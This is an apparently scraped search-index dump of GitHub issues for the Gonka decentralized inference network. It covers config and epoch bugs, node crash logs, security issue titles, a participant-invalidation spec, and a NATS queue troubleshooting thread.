"}, {"location": "community/issues/00337-p1-config-update-process/", "title": "#337 — [P1] Config update process", "text": "[P1] Config update process #337 Closed @tcharchian opened 2025-09-03 23:19 UTC 1 comment Updated 2026-01-15 23:10 UTCnode-config.json, which contains the initial configuration, should not be applied automatically at the start — it should only be applied after an explicit command (otherwise, it creates a mess).UPDATE nodes/:id endpoint to modify node parameters, and some way to understand what exactly is being changed — so that a node’s status updates after the next PoC. Right now, when you delete and re-add a node, it results in chaos.🔄 Auto-synced from Issue #337 every hour.
"}, {"location": "community/issues/00338-p1-cache-for-github-actions/", "title": "#338 — [P1] Cache for Github Actions", "text": "[P1] Cache for Github Actions #338 Closed @tcharchian opened 2025-09-03 23:19 UTC 3 comments Updated 2026-03-25 18:38 UTC(empty)
"}, {"location": "community/issues/00338-p1-cache-for-github-actions/#comments-3", "title": "💬 Comments (3)", "text": "@tcharchian commented 2026-01-24 01:45 UTChttps://github.com/gonka-ai/gonka/pull/509
@gmorgachev commented 2026-03-12 08:28 UTC@IgnatovFedor what is our status?
@IgnatovFedor commented 2026-03-12 12:34 UTC@IgnatovFedor what is our status?
@gmorgachev , PR is opened, currently addressing Copilot review comments. Validating the changes - should be done soon.
🔄 Auto-synced from Issue #338 every hour.
"}, {"location": "community/issues/00339-p1-distributed-vs-truly-decentralized-and-trustless-and-wher/", "title": "#339 — [P1] Distributed vs truly decentralized and trustless and where we there", "text": "[P1] Distributed vs truly decentralized and trustless and where we there #339 Closed @tcharchian opened 2025-09-03 23:20 UTC 2 comments Updated 2026-03-05 23:42 UTC(empty)
"}, {"location": "community/issues/00339-p1-distributed-vs-truly-decentralized-and-trustless-and-wher/#comments-2", "title": "💬 Comments (2)", "text": "@tcharchian commented 2026-02-28 00:24 UTChttps://docs.google.com/document/d/1JGbGSAUdedTyd2lqv0314f7unT7-Tm8Xw9Iw2stR1KM/edit?tab=t.0#heading=h.6nthq29wk7fx
@tcharchian commented 2026-03-05 23:42 UTChttps://medium.com/p/04153af31dfa
🔄 Auto-synced from Issue #339 every hour.
"}, {"location": "community/issues/00340-p0-security-training/", "title": "#340 — [P0] Security: Training", "text": "[P0] Security: Training #340 Closed @tcharchian opened 2025-09-04 21:20 UTC 0 comments Updated 2025-10-15 00:31 UTCSubmitTrainingKvRecord Leads To Potential DoSSubmitHardwareDiff Leads To DoSNewGlobalNodeIdCreateTrainingTakstraining_sync.go🔄 Auto-synced from Issue #340 every hour.
"}, {"location": "community/issues/00341-p0-security-major/", "title": "#341 — [P0] Security: Major", "text": "[P0] Security: Major #341 Closed @tcharchian opened 2025-09-04 21:20 UTC 0 comments Updated 2025-10-15 00:31 UTCEndBlock ExecutedCodeEndBlockEndBlock ExecutedCode🔄 Auto-synced from Issue #341 every hour.
"}, {"location": "community/issues/00342-p0-security-minor/", "title": "#342 — [P0] Security: Minor", "text": "[P0] Security: Minor #342 Closed @tcharchian opened 2025-09-04 21:21 UTC 0 comments Updated 2025-10-09 20:05 UTCGetPreviousEpochMLNodesWithInferenceAllocationstoreMLNodeInfoSetComputeValidatorsGetPreservedNodesByParticipantsubmitValidationProposalshandleExpiredInferenceSetComputeValidatorsFinishInferencenil Check For GetPubKey() Could Lead To PanicRunMembershipService Vs RunManagerDefaultMaxTokensdistributeLegacyWeight, for each hardware node the code linearly scans newMLNodes to find an existing node with matching NodeId. This is O(H*N) and can degrade when many nodes exist.originalMLNodes and callsslices.Contains(supportedModelsByNode[mlNode.NodeId], model.Id)to decide assignment. This is O(MNK) where K ismodels per node.Ignore the following:
🔄 Auto-synced from Issue #342 every hour.
"}, {"location": "community/issues/00343-bug-3-removing-models-from-inferencemodel-list-is-not-suppor/", "title": "#343 — BUG-3: Removing models from inference/model_list is not supported", "text": "BUG-3: Removing models from inference/model_list is not supported #343 Closed @gmorgachev opened 2025-09-05 07:31 UTC 0 comments Updated 2026-01-28 22:26 UTCFix the bug in network inference API where sending a request with an unsupported model name incorrectly returns the error 402 Insufficient balance.
🔄 Auto-synced from Issue #343 every hour.
"}, {"location": "community/issues/00344-intersection-between-update-of-epoch-length-params-and-poc-p/", "title": "#344 — Intersection between update of `epoch_length` params and PoC procedure can lead to consensus failure", "text": "Intersection between update of `epoch_length` params and PoC procedure can lead to consensus failure #344 Open @tcharchian opened 2025-09-05 17:52 UTC 2 comments Updated 2026-02-28 00:31 UTCnode | 1:53AM INF NewPocStart blockHeight=446 module=x/inference subsystem=Stages\nnode | 1:53AM ERR CreateEpochGroup: Root epoch group data already exists epochIndex=3 module=x/inference subsystem=EpochGroup\nnode | 1:53AM ERR Unable to create epoch group error=\"epoch group data already exists for the given poc start block height and model id\" module=x/inference subsystem=EpochGroup\nnode | 1:53AM ERR error in proxyAppConn.FinalizeBlock err=\"epoch group data already exists for the given poc start block height and model id\" module=state\nnode | 1:53AM ERR CONSENSUS FAILURE!!! err=\"failed to apply block; error epoch group data already exists for the given poc start block height and model id\" module=consensus stack=\"goroutine 49 [running]:\\nruntime/debug.Stack()\\n\\t/usr/local/go/src/runtime/debug/stack.go:26 +0x5e\\ngithub.com/cometbft/cometbft/consensus.(*State).receiveRoutine.func2()\\n\\t/go/pkg/mod/github.com/cometbft/cometbft@v0.38.17/consensus/state.go:801 +0x46\\npanic({0x4a030e0?, 0xc00213e990?})\\n\\t/usr/local/go/src/runtime/panic.go:785 +0x132\\ngithub.com/cometbft/cometbft/consensus.(*State).finalizeCommit(0xc002e39508, 0x1be)\\n\\t/go/pkg/mod/github.com/cometbft/cometbft@v0.38.17/consensus/state.go:1781 +0xde5\\ngithub.com/cometbft/cometbft/consensus.(*State).tryFinalizeCommit(0xc002e39508, 0x1be)\\n\\t/go/pkg/mod/github.com/cometbft/cometbft@v0.38.17/consensus/state.go:1682 +0x2e8\\ngithub.com/cometbft/cometbft/consensus.(*State).enterCommit.func1()\\n\\t/go/pkg/mod/github.com/cometbft/cometbft@v0.38.17/consensus/state.go:1617 +0x9c\\ngithub.com/cometbft/cometbft/consensus.(*State).enterCommit(0xc002e39508, 0x1be, 0x0)\\n\\t/go/pkg/mod/github.com/cometbft/cometbft@v0.38.17/consensus/state.go:1655 +0xc2f\\ngithub.com/cometbft/cometbft/consensus.(*State).addVote(0xc002e39508, 0xc002d001a0, {0xc0040a4060, 0x28})\\n\\t/go/pkg/mod/github.com/cometbft/cometbft@v0.38.17/consensus/state.go:2343 +0x1e8d\\ngithub.com/cometbft/cometbft/consensus.(*State).tryAddVote(0xc002e39508, 0xc002d001a0, {0xc0040a4060?, 0x0?})\\n\\t/go/pkg/mod/github.com/cometbft/cometbft@v0.38.17/consensus/state.go:2067 +0x26\\ngithub.com/cometbft/cometbft/consensus.(*State).handleMsg(0xc002e39508, {{0x620d620, 0xc003e34590}, {0xc0040a4060, 0x28}})\\n\\t/go/pkg/mod/github.com/cometbft/cometbft@v0.38.17/consensus/state.go:929 +0x38b\\ngithub.com/cometbft/cometbft/consensus.(*State).receiveRoutine(0xc002e39508, 0x0)\\n\\t/go/pkg/mod/github.com/cometbft/cometbft@v0.38.17/consensus/state.go:836 +0x3f1\\ncreated by github.com/cometbft/cometbft/consensus.(*State).OnStart in goroutine 1\\n\\t/go/pkg/mod/github.com/cometbft/cometbft@v0.38.17/consensus/state.go:398 +0x10c\\n\"\nnode | 1:53AM INF service stop impl=baseWAL module=consensus msg=\"Stopping baseWAL service\" wal=/root/.inference/data/cs.wal/wal\n@DimaOrekhovPS or @patimen please give more details for this task
@tcharchian commented 2026-02-28 00:31 UTC@patimen please give more details for this task
🔄 Auto-synced from Issue #344 every hour.
"}, {"location": "community/issues/00348-p0-add-ssl-https-for-our-dashboard-and-api-we-need-it-to-add/", "title": "#348 — [P0]: Add SSL (https) for our dashboard and API (we need it to add us to wallets)", "text": "[P0]: Add SSL (https) for our dashboard and API (we need it to add us to wallets) #348 Closed @tcharchian opened 2025-09-08 23:06 UTC 0 comments Updated 2026-02-10 01:22 UTC(empty)
🔄 Auto-synced from Issue #348 every hour.
"}, {"location": "community/issues/00349-p1-utilization-in-scheduling-and-poc-uptime-and-reward-for-a/", "title": "#349 — [P1]: Utilization in scheduling and PoC uptime and Reward for all Models Support", "text": "[P1]: Utilization in scheduling and PoC uptime and Reward for all Models Support #349 Closed @tcharchian opened 2025-09-08 23:09 UTC 0 comments Updated 2026-01-28 22:24 UTCThis is a future task. A detailed description will be provided in the near future.
Please do not start working on this task without the detailed specification, as it may turn out to be a different direction than expected, which could reduce the chances of receiving a reward.
If you are interested in completing this task, please leave a comment here. After that, feel free to contact me on Discord: tatianacharchian_07833.
🔄 Auto-synced from Issue #349 every hour.
"}, {"location": "community/issues/00351-bug-wrong-error-message-for-unsupported-models-in-chatcomple/", "title": "#351 — BUG: Wrong error message for unsupported models in /chat/completions", "text": "BUG: Wrong error message for unsupported models in /chat/completions #351 Closed @gmorgachev opened 2025-09-10 23:19 UTC 5 comments Updated 2026-04-28 18:50 UTCWhen inference for unsupported message requested, system returns:
\"HTTP/1.1 402 Payment Required\"
"}, {"location": "community/issues/00351-bug-wrong-error-message-for-unsupported-models-in-chatcomple/#comments-5", "title": "💬 Comments (5)", "text": "@tcharchian commented 2026-01-28 22:23 UTCNeeds to be rechecked
@AlexeySamosadov commented 2026-02-08 14:14 UTCPR created: https://github.com/gonka-ai/gonka/pull/679
Fixes wrong error message for unsupported models in /chat/completions.
@AlexeySamosadov commented 2026-02-12 15:26 UTCI already have a PR for this: #679 — fixes the wrong error message for unsupported models. Would appreciate a review when you get a chance.
@unameisfine commented 2026-03-19 22:42 UTCStarting work on this. Previous PR was closed as stale — will investigate the current error handling path and submit a fix. ETA: 2-3 days.
@x0152 commented 2026-04-28 17:15 UTCAlready fixed in #614. Closing
🔄 Auto-synced from Issue #351 every hour.
"}, {"location": "community/issues/00359-p0-ai-developer-onboarding-aiden-chat-integration/", "title": "#359 — [P0]: AI Developer onboarding: Aiden Chat integration", "text": "[P0]: AI Developer onboarding: Aiden Chat integration #359 Closed @tcharchian opened 2025-09-16 20:30 UTC 0 comments Updated 2026-01-28 22:22 UTC(empty)
🔄 Auto-synced from Issue #359 every hour.
"}, {"location": "community/issues/00360-p0-ai-developer-onboarding-t-link-integration/", "title": "#360 — [P0]: AI Developer onboarding: T-link integration", "text": "[P0]: AI Developer onboarding: T-link integration #360 Open @tcharchian opened 2025-09-16 20:31 UTC 0 comments Updated 2025-09-16 20:31 UTC(empty)
🔄 Auto-synced from Issue #360 every hour.
"}, {"location": "community/issues/00361-p0-threshold-params-for-big-model-part-2/", "title": "#361 — [P0] Threshold + Params for big model. Part 2.", "text": "[P0] Threshold + Params for big model. Part 2. #361 Closed @tcharchian opened 2025-09-16 22:31 UTC 2 comments Updated 2025-12-05 22:18 UTCNew Models
gpt-oss-120b
DeepSeek-R1-0528gemma-3-27b-itQwen3-30B-A3B-Instruct-2507gpt-oss-20b Qwen3-235B
Instruction to do it
GPT-OSS can be implemented after the vLLM update. Right now, it is being handled by community contributors from the bounty program https://discord.com/channels/1336477374442770503/1425189436748206171/1446142256900997152
@tcharchian commented 2025-12-05 22:18 UTCThe threshold-calculation task is completed for the models listed above (except GTP-OSS). They haven’t deployed it to the chain yet. They will most likely be deployed after the vLLM update
🔄 Auto-synced from Issue #361 every hour.
"}, {"location": "community/issues/00365-the-variable-dapi-api-poc-callback-url-is-causing-a-lot-of-i/", "title": "#365 — The variable `DAPI_API__POC_CALLBACK_URL` is causing a lot of issues. It might be simpler in the future to use `gRPC` and handle callbacks within the same connection instead.", "text": "The variable `DAPI_API__POC_CALLBACK_URL` is causing a lot of issues. It might be simpler in the future to use `gRPC` and handle callbacks within the same connection instead. #365 Open @tcharchian opened 2025-09-18 19:35 UTC 0 comments Updated 2026-03-22 23:33 UTC(empty)
🔄 Auto-synced from Issue #365 every hour.
"}, {"location": "community/issues/00381-p0-how-to-change-inference-url/", "title": "#381 — [P0] How to change `inference_url`", "text": "[P0] How to change `inference_url` #381 Closed @tcharchian opened 2025-09-30 16:43 UTC 1 comment Updated 2025-12-08 21:16 UTCinference_url. Probably, it should happen immediately and propagate everywhere.inference_url. Let's think on how can it be verified, at least asynchronousl,y whena node with that URL is already running Example: api container has a new endpoint /v1/verify, which returns: {\n \"requester_address\": \"gonka...\",\n \"timestamps\": <timestamp in last Xmin>,\n \"signature\": <singature of timestamps by this node's warm key>\n}\napi node should verify all inference_url once in an epoch automatically and initiate this voting, but it's hard to estimate it for now, it might be okay to leave it manual at the moment.https://gonka.ai/FAQ/#how-to-change-inference_url
🔄 Auto-synced from Issue #381 every hour.
"}, {"location": "community/issues/00387-bug-fatal-error-too-many-concurrent-timer-firings/", "title": "#387 — Bug: fatal error: too many concurrent timer firings", "text": "Bug: fatal error: too many concurrent timer firings #387 Closed @gmorgachev opened 2025-10-09 05:51 UTC 2 comments Updated 2026-01-15 22:12 UTC bugnode container restarted due to:
fatal error: too many concurrent timer firings\n\nruntime stack:\nruntime.throw({0x5422134?, 0x7f3d16444260?})\n /usr/local/go/src/runtime/panic.go:1067 +0x48 fp=0x7f3d164441f8 sp=0x7f3d164441c8 pc=0x4c80e8\nruntime.(*timer).unlockAndRun(0xc0027fe250, 0x473246?)\n /usr/local/go/src/runtime/time.go:1076 +0x28e fp=0x7f3d16444260 sp=0x7f3d164441f8 pc=0x4b030e\nruntime.(*timers).run(0xc000288290, 0x7e04cdbdb5274)\n /usr/local/go/src/runtime/time.go:1008 +0xf0 fp=0x7f3d16444288 sp=0x7f3d16444260 pc=0x4b0030\nruntime.(*timers).check(0xc000288290, 0x0?)\n /usr/local/go/src/runtime/time.go:942 +0x13d fp=0x7f3d164442d0 sp=0x7f3d16444288 pc=0x4afe5d\nruntime.stealWork(0x941cbc0?)\n /usr/local/go/src/runtime/proc.go:3687 +0x1f3 fp=0x7f3d16444340 sp=0x7f3d164442d0 pc=0x498433\nruntime.findRunnable()\n /usr/local/go/src/runtime/proc.go:3364 +0x405 fp=0x7f3d164444b8 sp=0x7f3d16444340 pc=0x497485\nruntime.schedule()\n /usr/local/go/src/runtime/proc.go:3995 +0xb1 fp=0x7f3d164444f0 sp=0x7f3d164444b8 pc=0x498eb1\nruntime.park_m(0xc00042ec40)\n /usr/local/go/src/runtime/proc.go:4102 +0x1eb fp=0x7f3d16444548 sp=0x7f3d164444f0 pc=0x4992cb\nruntime.mcall()\n /usr/local/go/src/runtime/asm_amd64.s:459 +0x4e fp=0x7f3d164445\nnode-failure-oct8.log
"}, {"location": "community/issues/00387-bug-fatal-error-too-many-concurrent-timer-firings/#comments-2", "title": "💬 Comments (2)", "text": "@gmorgachev commented 2025-10-19 04:36 UTCOne more case: issue-4.log
@gmorgachev commented 2025-11-22 00:53 UTCSeems like we need to bump go version: https://github.com/golang/go/issues/69880 TODO: propoperly test compartibility
🔄 Auto-synced from Issue #387 every hour.
"}, {"location": "community/issues/00388-p0-cuda-failure-other-small-fixed/", "title": "#388 — [P0]: Cuda failure + other small fixed", "text": "[P0]: Cuda failure + other small fixed #388 Closed @tcharchian opened 2025-10-09 18:51 UTC 0 comments Updated 2025-10-15 00:52 UTC(empty)
🔄 Auto-synced from Issue #388 every hour.
"}, {"location": "community/issues/00394-p0-invalid-participants-in-the-activeparticipant-list/", "title": "#394 — [P0] Invalid participants in the `ActiveParticipant` list", "text": "[P0] Invalid participants in the `ActiveParticipant` list #394 Closed @tcharchian opened 2025-10-16 00:22 UTC 1 comment Updated 2025-12-02 20:51 UTCProper removal (Check that we also jail => no voting power)
"}, {"location": "community/issues/00394-p0-invalid-participants-in-the-activeparticipant-list/#comments-1", "title": "💬 Comments (1)OverviewProblem StatementProposed SolutionTesting & Validation PlanClient & Consumer RequirementsTerminology Clarification", "text": "@tcharchian commented 2025-10-21 18:41 UTC Invalid Participant Exclusion – Feature SpecificationThis feature refines, fixes and fully tests the mechanism for handling invalid participants in the Gonka network. Invalid participants are nodes that have misbehaved (e.g., submitted bad inferences, misconfigured models, attempted cheating, or failed other behavioral criteria). The goal is to ensure they are excluded from all network responsibilities and consensus mechanisms, without retroactively altering cryptographically signed data.
Currently, the list of active participants retrieved from the chain could include nodes that are technically invalid for the current epoch. This list is signed and committed cryptographically each epoch, making it immutable and essential for trust and traceability via Merkle proofs.
However, since some participants may be no longer trustworthy (due to detected invalid behavior during the epoch), relying solely on the active list is not sufficient for selecting endpoints to use.
Additionally, when a participant is marked as invalid, we need to ensure and test that they are excluded from: * Task assignment (inference or validation) * Voting weight calculation * Consensus power allocation * Inference routing via the decentralized API (DAPI) * Model group membership logic (EpochGroup) * Clients selecting transfer agents
1. Introduce a New Query and data structure:InvalidatedParticipants When querying for active participants via the DAPI:
InvalidatedParticipantsThe invalidation mechanism was previously disabled during development and was under tested. Now that the full behavior is enabled:
InvalidatedParticipants query🔄 Auto-synced from Issue #394 every hour.
"}, {"location": "community/issues/00396-p0-future-timestamp-investigation/", "title": "#396 — [P0] Future timestamp investigation", "text": "[P0] Future timestamp investigation #396 Closed @tcharchian opened 2025-10-17 17:58 UTC 0 comments Updated 2026-01-23 20:33 UTC(empty)
🔄 Auto-synced from Issue #396 every hour.
"}, {"location": "community/issues/00398-api-node-connection-issues/", "title": "#398 — API -> Node Connection Issues", "text": "API -> Node Connection Issues #398 Closed @gmorgachev opened 2025-10-19 05:17 UTC 0 comments Updated 2026-01-29 06:17 UTC bug🔄 Auto-synced from Issue #398 every hour.
"}, {"location": "community/issues/00398-api-node-connection-issues/#1-too-large-http-body", "title": "1. Too large HTTP body:", "text": "2025/10/17 11:11:18 INFO Submitting MsgFinishInference subsystem=Inferences inferenceId=\"KXLiAV7ygVDb+fKlU3LOUZtagN+j/hi3FO77w4mnOb4FxmWyRWh712bwBLJIYzYO/PR79xxMI5EDGEqu+NcP5w==\"\n2025/10/17 11:11:18 ERROR tx failed to broadcast, failed to put in queue subsystem=Messages tx_id=d17c9c5e-e535-4506-b567-fcbf5e77a9d4 broadcast_err=\"error while requesting node 'http://node:26657': error in json rpc client, with http response metadata: (Status: 400 Bad Request, Protocol HTTP/1.1). RPC error -32600 - Invalid Request: error reading request body: http: request body too large\\n(1) attached stack trace\\n -- stack trace:\\n | github.com/ignite/cli/v28/ignite/pkg/errors.Wrapf\\n | \\t/go/pkg/mod/github.com/ignite/cli/v28@v28.11.0/ignite/pkg/errors/xerrors.go:53\\n | github.com/ignite/cli/v28/ignite/pkg/cosmosclient.rpcError\\n | \\t/go/pkg/mod/github.com/ignite/cli/v28@v28.11.0/ignite/pkg/cosmosclient/rpc.go:24\\n | github.com/ignite/cli/v28/ignite/pkg/cosmosclient.rpcWrapper.BroadcastTxSync\\n | \\t/go/pkg/mod/github.com/ignite/cli/v28@v28.11.0/ignite/pkg/cosmosclient/rpc.go:54\\n | github.com/cosmos/cosmos-sdk/client.Context.BroadcastTxSync\\n | \\t/go/pkg/mod/github.com/gonka-ai/cosmos-sdk@v0.53.3-ps8/client/broadcast.go:94\\n | decentralized-api/cosmosclient/tx_manager.(*manager).broadcastMessage\\n | \\t/app/decentralized-api/cosmosclient/tx_manager/tx_manager.go:438\\n | decentralized-api/cosmosclient/tx_manager.(*manager).SendTransactionAsyncWithRetry\\n | \\t/app/decentralized-api/cosmosclient/tx_manager/tx_manager.go:147\\n | decentralized-api/cosmosclient.(*InferenceCosmosClient).FinishInference\\n | \\t/app/decentralized-api/cosmosclient/cosmosclient.go:292\\n | decentralized-api/internal/server/public.(*Server).sendInferenceTransaction\\n | \\t/app/decentralized-api/internal/server/public/post_chat_handler.go:701\\n | decentralized-api/internal/server/public.(*Server).handleExecutorRequest\\n | \\t/app/decentralized-api/internal/server/public/post_chat_handler.go:468\\n | decentralized-api/internal/server/public.(*Server).postChat\\n | \\t/app/decentralized-api/internal/server/public/post_chat_handler.go:163\\n | github.com/labstack/echo/v4.(*Echo).add.func1\\n | \\t/go/pkg/mod/github.com/labstack/echo/v4@v4.10.0/echo.go:546\\n | decentralized-api/internal/server/middleware.LoggingMiddleware.func1\\n | \\t/app/decentralized-api/internal/server/middleware/middleware.go:14\\n | github.com/labstack/echo/v4.(*Echo).ServeHTTP\\n | \\t/go/pkg/mod/github.com/labstack/echo/v4@v4.10.0/echo.go:633\\n | net/http.serverHandler.ServeHTTP\\n | \\t/usr/local/go/src/net/http/server.go:3210\\n | net/http.(*conn).serve\\n | \\t/usr/local/go/src/net/http/server.go:2092\\n | runtime.goexit\\n | \\t/usr/local/go/src/runtime/asm_amd64.s:1700\\nWraps: (2) error while requesting node 'http://node:26657'\\nWraps: (3) error in json rpc client, with http response metadata: (Status: 400 Bad Request, Protocol HTTP/1.1). RPC error -32600 - Invalid Request: error reading request body: http: request body too large\\nWraps: (4) RPC error -32600 - Invalid Request: error reading request body: http: request body too large\\nError types: (1) *withstack.withStack (2) *errutil.withPrefix (3) *fmt.wrapError (4) *types.RPCError\" resend_err=\"nats: maximum payload exceeded\" error-type=*withstack.withStack error-type=*errors.errorString\n2025/10/17 11:11:18 ERROR Failed to submit MsgFinishInference subsystem=Inferences inferenceId=\"KXLiAV7ygVDb+fKlU3LOUZtagN+j/hi3FO77w4mnOb4FxmWyRWh712bwBLJIYzYO/PR79xxMI5EDGEqu+NcP5w==\" error=\"failed to broadcast and put on retry\" error-type=*errors.errorString\nIncrease rpc-max-body-bytes to
2025/10/18 17:06:00 ERROR Failed to get inference requester subsystem=Inferences address=gonka1hwcu7h7kmt5t8g506zwjp04d972t2gucjleq63 error=\"error while requesting node 'http://node:26657': post failed: Post \\\"http://node:26657\\\": dial tcp 172.31.1.3:26657: connect: connection refused\\n(1) attached stack trace\\n -- stack trace:\\n | github.com/ignite/cli/v28/ignite/pkg/errors.Wrapf\\n | \\t/go/pkg/mod/github.com/ignite/cli/v28@v28.11.0/ignite/pkg/errors/xerrors.go:53\\n | github.com/ignite/cli/v28/ignite/pkg/cosmosclient.rpcError\\n | \\t/go/pkg/mod/github.com/ignite/cli/v28@v28.11.0/ignite/pkg/cosmosclient/rpc.go:24\\n | github.com/ignite/cli/v28/ignite/pkg/cosmosclient.rpcWrapper.ABCIQueryWithOptions\\n | \\t/go/pkg/mod/github.com/ignite/cli/v28@v28.11.0/ignite/pkg/cosmosclient/rpc.go:39\\n | github.com/cosmos/cosmos-sdk/client.Context.queryABCI\\n | \\t/go/pkg/mod/github.com/gonka-ai/cosmos-sdk@v0.53.3-ps8/client/query.go:98\\n | github.com/cosmos/cosmos-sdk/client.Context.QueryABCI\\n | \\t/go/pkg/mod/github.com/gonka-ai/cosmos-sdk@v0.53.3-ps8/client/query.go:56\\n | github.com/cosmos/cosmos-sdk/client.Context.Invoke\\n | \\t/go/pkg/mod/github.com/gonka-ai/cosmos-sdk@v0.53.3-ps8/client/grpc_query.go:92\\n | github.com/productscience/inference/x/inference/types.(*queryClient).InferenceParticipant\\n | \\t/app/inference-chain/x/inference/types/query.pb.go:6987\\n | decentralized-api/internal/server/public.(*Server).validateFullRequest\\n | \\t/app/decentralized-api/internal/server/public/post_chat_handler.go:504\\n | decentralized-api/internal/server/public.(*Server).handleExecutorRequest\\n | \\t/app/decentralized-api/internal/server/public/post_chat_handler.go:408\\n | decentralized-api/internal/server/public.(*Server).postChat\\n | \\t/app/decentralized-api/internal/server/public/post_chat_handler.go:163\\n | github.com/labstack/echo/v4.(*Echo).add.func1\\n | \\t/go/pkg/mod/github.com/labstack/echo/v4@v4.10.0/echo.go:546\\n | decentralized-api/internal/server/middleware.LoggingMiddleware.func1\\n | \\t/app/decentralized-api/internal/server/middleware/middleware.go:14\\n | github.com/labstack/echo/v4.(*Echo).ServeHTTP\\n | \\t/go/pkg/mod/github.com/labstack/echo/v4@v4.10.0/echo.go:633\\n | net/http.serverHandler.ServeHTTP\\n | \\t/usr/local/go/src/net/http/server.go:3210\\n | net/http.(*conn).serve\\n | \\t/usr/local/go/src/net/http/server.go:2092\\n | runtime.goexit\\n | \\t/usr/local/go/src/runtime/asm_amd64.s:1700\\nWraps: (2) error while requesting node 'http://node:26657'\\nWraps: (3) post failed\\nWraps: (4) Post \\\"http://node:26657\\\"\\nWraps: (5) dial tcp 172.31.1.3:26657\\nWraps: (6) connect\\nWraps: (7) connection refused\\nError types: (1) *withstack.withStack (2) *errutil.withPrefix (3) *fmt.wrapError (4) *url.Error (5) *net.OpError (6) *os.SyscallError (7) syscall.Errno\" error-type=*withstack.withStack\n2025/10/18 17:06:00 INFO Received request subsystem=Server method=POST path=/v1/chat/completions\nIs that happen only when node is really off? Or smth else? Probably we need to add retry in client?
Caused by https://github.com/gonka-ai/gonka/issues/387, do we need to handle explicitly ?
"}, {"location": "community/issues/00402-bug-api-container-doesnt-start-due-to-nats-insufficient-reso/", "title": "00402 bug api container doesnt start due to nats insufficient reso", "text": "title: \"#402 — [BUG]: API container doesn't start due to \"nats: insufficient resources\"\" source: https://github.com/gonka-ai/gonka/issues/402 issue_number: 402 synced_at: 2026-07-26T07:08:46Z template: issues-main.html
[BUG]: API container doesn't start due to \"nats: insufficient resources\" #402 Closed @tcharchian opened 2025-10-22 18:36 UTC 1 comment Updated 2026-01-15 22:24 UTC bugAPI container doesn't start with:
...\nSignature:cebe1551ed35b140dce921e98cb291b77cdf99bb246be8600445e072bb5f453a2b21479f2551074e21da5ce8ee1d835213227f703cf09f5fe2ac3995be75a987 Claimed:false} CurrentHeight:935127 LastProcessedHeight:935127 UpgradePlan:{Name: Height:0 Binaries:map[] NodeVersion:} MLNodeKeyConfig:{WorkerPublicKey: WorkerPrivateKey:} Nats:{Host: Port:0} CurrentNodeVersion:v3.0.8 LastUsedVersion:v3.0.8 ValidationParams:{TimestampExpiration:60 TimestampAdvance:30 ExpirationBlocks:20} BandwidthParams:{EstimatedLimitsPerBlockKb:10752 KbPerInputToken:0.0023 KbPerOutputToken:0.64}}\n2025/10/22 08:59:31 INFO starting nats server subsystem=Messages port=4222 host=0.0.0.0\ncurrent upgrade name v0.2.3, new upgrade name v0.2.3\ncurrent upgrade height 645399, new upgrade height 645399\npanic: NATS server not ready after 3 attempts\ngoroutine 1 [running]:\nmain.main()\n /app/decentralized-api/main.go:67 +0x16a7\nThere is some interactive action:
Error: exit status 2\nConfig file /root/.dapi/api-config.yaml already exists\n9:02AM INF the current symlink points to: \"/root/.dapi/cosmovisor/upgrades/v0.2.3/bin/decentralized-api\" module=cosmovisor\nfile /root/.dapi/cosmovisor/config.toml already exists, do you want to overwrite it? [y/n]: 9:02AM INF file already exists, not overriding module=cosmovisor\ninit for nats\n9:06AM INF checking on the genesis/bin directory module=cosmovisor\n9:06AM INF the \"/root/.dapi/cosmovisor/genesis/bin\" directory already exists module=cosmovisor\n9:06AM INF checking on the genesis/bin executable module=cosmovisor\n9:06AM INF the \"/root/.dapi/cosmovisor/genesis/bin/decentralized-api\" file already exists module=cosmovisor\n9:06AM INF making sure \"/root/.dapi/cosmovisor/genesis/bin/decentralized-api\" is executable module=cosmovisor\n9:06AM INF checking on the current symlink and creating it if needed module=cosmovisor\n9:06AM INF the current symlink points to: \"/root/.dapi/cosmovisor/upgrades/v0.2.3/bin/decentralized-api\" module=cosmovisor\nfile /root/.dapi/cosmovisor/config.toml already exists, do you want to overwrite it? [y/n]: 9:06AM INF file already exists, not overriding module=cosmovisor\n9:06AM INF cosmovisor config.toml created at: /root/.dapi/cosmovisor/config.toml module=cosmovisor\nRunning decentralized-api with cosmovisor\n...\n\n2025/10/22 09:06:37 INFO starting nats server subsystem=Messages port=4222 host=0.0.0.0\ncurrent upgrade name v0.2.3, new upgrade name v0.2.3\ncurrent upgrade height 645399, new upgrade height 645399\npanic: NATS server not ready after 3 attempts\ntried
sudo rm .dapi/data/upgrade-info.json\nsource config.env && docker compose up --no-deps api --force-recreate -d\nIt seems to be progressing, however i see this in logs:
2025/10/22 09:10:45 ERROR tx broadcast, but failed to put in queue subsystem=Messages tx_id=c3ebe871-eb98-4bbe-9628-77147ecc0401 err=\"nats: insufficient resources\" error-type=*nats.APIError\nThey know about 1 issue on connectivity between the two nodes we have.. will fix that
Nats is in the same container... Then checked disk space / ram
nats storage is in .dapi/.nats. trying to find how to check it's size
There is no resource exhaustion on that server
root@CL-Gonka-NetNode:~/inference-ignite/deploy/join/.dapi/.nats# du -d1 -h .\n17G ./jetstream\n17G .\nNothing bad should happen if, when api container stopped, we just delete this dir .dapi/.nats and then restart
this queue is needed to maintain retry for sending transaction. by some reason it's huge
all important TXS (validation, claim reward) will still be retried
Cleared the queue, started the api container, seems to be working from what they see
2025/10/22 09:20:02 INFO Upgrade already ready subsystem=Upgrades name=v0.2.4\nwe should double check that in next upgrade. @gmorgachev assumption is that missed validation transactions were added many times in queue. not sure why another nodes are successfully sending them all
it might be related to the fact that the node was offline some time ago. Those could have been old queue entries as well
This node just claimed reward for epoch 59 btw. That means no problem with sending transactions now
that part is actually also modified in new PR
"}, {"location": "community/issues/00402-bug-api-container-doesnt-start-due-to-nats-insufficient-reso/#comments-1", "title": "💬 Comments (1)", "text": "@tcharchian commented 2025-12-02 20:28 UTCThis is related to the Cleaning nats issue NATS didn't delete any items from the queue, so the queues were constantly growing. Setting a limit to NATS messages by age must resolve this problem, too. @0xBECEDA @patimen @gmorgachev
🔄 Auto-synced from Issue #402 every hour.
"}, {"location": "community/issues/00405-p0-removing-participants-for-inactivity/", "title": "#405 — [P0] Removing participants for inactivity", "text": "[P0] Removing participants for inactivity #405 Closed @tcharchian opened 2025-10-23 19:48 UTC 0 comments Updated 2026-01-16 05:33 UTCRemoving for inactivity
missed_stat_signigicant([start_of_epoch, current_heigh]) => remove and jailinvalid_stat_significant([start_of_epoch, current_heigh]) => remove and jailmin_n_samples = 100 to make this regular check less strongAll the details in that task are sketches, not exact solutions, and should be criticized accordingly.
🔄 Auto-synced from Issue #405 every hour.
